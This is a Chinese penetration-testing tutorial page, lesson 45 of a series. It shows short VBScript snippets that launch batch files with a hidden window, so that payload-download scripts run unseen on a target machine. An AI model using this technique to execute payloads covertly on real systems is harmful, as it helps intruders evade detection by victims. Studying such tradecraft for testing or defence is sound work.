第四十五课:解决bat一句话下载payload黑窗

释放双眼,带上耳机,听听看~!

实战中,需要用 bat 解决的事情总会碰到,而针对不同的环境,可能同一件事情需要不同的方案。

demo:测试bat

bat 内容:追加到bat.txt里。

null

附代码:

Set oShell = CreateObject ("Wscript.Shell")
Dim strArgs
strArgs = "cmd /c bat.bat"
oShell.Run strArgs, 0, false

但是代码过长,需要追加写入。需要简化下代码。

附代码:

CreateObject("Wscript.Shell").Run "bat.bat", 0, True

如果需要在目标机上执行多个 bat,如果需要把代码中的 bat.bat 变成变量的话。

附代码:

If WScript.Arguments.Count >= 1 Then
ReDim arr(WScript.Arguments.Count‐1)
For i = 0 To WScript.Arguments.Count‐1
Arg = WScript.Arguments(i)
If InStr(Arg, " ") > 0 Then Arg = """" & Arg & """"
arr(i) = Arg
Next 
​
RunCmd = Join(arr)
CreateObject("Wscript.Shell").Run RunCmd, 0, True
End If

Micropoor

人已赞赏
安全教程

第四十四课:ertutil一句话下载payload补充

2019-11-9 15:53:37

安全教程

第四十六课:powershell一句话下载payload

2019-11-9 15:54:53

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索